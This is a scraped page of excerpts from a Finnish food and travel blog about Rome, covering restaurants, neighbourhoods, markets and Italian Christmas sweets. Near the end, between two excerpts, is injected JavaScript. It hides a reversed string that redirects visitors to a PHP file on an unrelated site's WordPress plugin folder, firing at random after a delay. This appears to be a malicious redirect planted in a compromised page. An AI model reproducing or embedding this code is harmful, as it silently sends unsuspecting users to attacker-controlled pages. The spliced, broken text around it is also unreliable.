Ginger: raikas tuulahdus Rooman ravintolakentässä
Sanotaanpa suoraan niin kuin asia on: Rooman ravintolaskene on aika tylsä. Roomassa on vieri vieressä ravintoloita, joiden ruokalistan olisi voinut tehdä kopiokoneella. Kaikissa nimittäin tarjotaan ihan samoja roomalaisia erikoisuuksia, En oikeasti ymmärrä, miksi joka ikisessä Rooman ravintolassa pitää tarjota samoja ruokalajeja (valitettavan usein vielä huonoja versioita):
Yksin risteilyllä – hemmottelun mahdollisuus vai kiusallisuuden uhka?
"Yksin risteilyllä? Mut sehän vois olla hauskaa!" Näin yllätin itseni ajattelemasta, kun mietin, miten menisin Tukholmaan viime kesänä. Yllätin sen vuoksi, että en ole koskaan ollut erityisemmin innostunut risteilyistä. Minulla on kyllä ollut aina hauskaa kaikilla risteilyillä tai laivamatkoilla, joilla olen ollut ystävieni tai perheeni kanssa. Kavereiden
Ravintolaopas Trastevereen – vuoden 2020 versio
*Muokattu helmikuussa 2020 ajantasalle!* Keskiaikainen Trasteveren kaupunginosa kuuluu monen Rooman kävijän suosikkeihin, eikä mikään ihme: onhan sen kapeat mukulakivikadut ja niiden yli risteävät pyykkinarut, pikkuruiset piazzat ja okran eri sävyissä hehkuvat talot kuin suoraan postikortista. Moni suuntaa sinne myös syömään, sillä Trasteverella on sitkeästi elävä maine hyvien
La Tavernaccia da Bruno (Trastevere)
Kuvitelkaapa mielessänne tyypillinen italialainen ateria. Onko se kenties tämäntapainen: Antipastoina on erilaisia leikkeleitä, oliiveja ja ehkä juustojakin. Lisäksi bruschettaa (lausutaan "brusketta") tai ehkä vastapaistettua focacciaa. Primo piatto on tietenkin itse tehtyä pastaa jonkun pastan muotoon sopivan kastikkeen kanssa ja päälle saa lisätä kuormittain parmesaania tai pecorinoa. Secondona eli pääruokana on
Ghetto – Rooman juutalaiskortteli
Rooman Ghetto ei nykyään ole todellakaan mitään slummia, vaan varsin viehättävä pieni alue Tiberin, Piazza Venezian ja Largo Argentinan välissä - ja yksi Rooman kalleimpia asuinalueita. Vaikka tätä juutalaiskorttelia ei voi luonnehtia suorastaan kätketyksi salaisuudeksi, niin sen kapeilla kujilla ja mukulakivikaduilla vaeltaa paljon vähemmän turisteja kuin
Rooman rumin, mutta paras kalaravintola
Il Pappettoa ei todellakaan voi sanoa kutsuvan näköiseksi. Se on vilkkaan kadun kulmassa Esson huoltoaseman vieressä. Oven suussa on tursuavan täynnä olevien roskalaatikkojen rivistö ja kuten aina niiden juurella roskapusseja, jotka eivät joko ole mahtuneet enää laatikkoon tai joita huolettomat roomalaiset eivät ole viitsineet nostaa laatikkoon
Mercato Testaccio: Rooman paras kauppahalli
Tämän postauksen otsikossa on pari virhettä. Ensinnäkin mercato tarkoittaa toria, mutta kauppahalli nyt vaan kuvaa mielestäni paremmin niin mielikuviltaan kuin ulkoiselta olemukseltaankTestaccion sisätiloissa toimivaa, monipuolista toria. Toiseksi Testaccion torin virallinen nimi on Nuova mercato di Testaccio, Testaccion uusi tori. Uutta torissa on kuitenkin lähinnä sen sijainti ja uusi
Aito, paikallisten suosima ravintola, jossa ei ole turisteja – onko se hyvän ravintolan merkki?
Minulta kysytään usein niin blogin kuin ystävienkin kautta suosituksia ravintoloista Roomassa. Lähes poikkeuksetta kyselijät lisäävät haluavansa vinkkejä paikallisten suosimasta, aidosta italialaisravintolasta, jossa ei ole turisteja. Ihan ymmärrettävää, sillä kukapa haluaisi syödä pakasteaineksista tehtyä ruokaa ja vain etäisesti paikallista erikoisuutta muistuttavaa ylikeitettyä pastaa, jota tarjotaan niissä turistirysissä,
5 hyvää syytä tulla Roomaan talvella
Mielikuviin Roomasta liitetään usein aurinko, lämpö, terassilla istuskelu ja kivikujilla kiertelyn lomassa gelatolle pistäytyminen ja siksi Rooman loma varataankin useimmiten kevääksi, kesäksi tai alkusyksyksi. Niin hienoa kuin Roomassa juuri noista syistä keväisin ja kesäisin onkin – vaikka idyllinen mielikuva voi toisaalta rakoilla, kun jonottaa helteessä nähtävyyksiin (tai sitä
{if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script>andoro-panettone-640x342.jpg)
Pandoro vai panettone? Jokajouluinen kiista Italiassa
Kuten täälläkin olen jo muutaman kerran maininnut, Italiassa ei ole erityisiä jouluruokia, mikä ei ole kovin yllättävää, kun ottaa huomioon suuret erot eri alueiden ruokaperinteissä. Jouluillalliseen liittyvät perinteet ovat pikemminkin perhekohtaisia kuin alueellisia. Mutta muutama jouluherkku on kuitenkin onnistunut levittäytymään koko Italiaan: alkujaan Pohjois-Italiasta peräisin olevia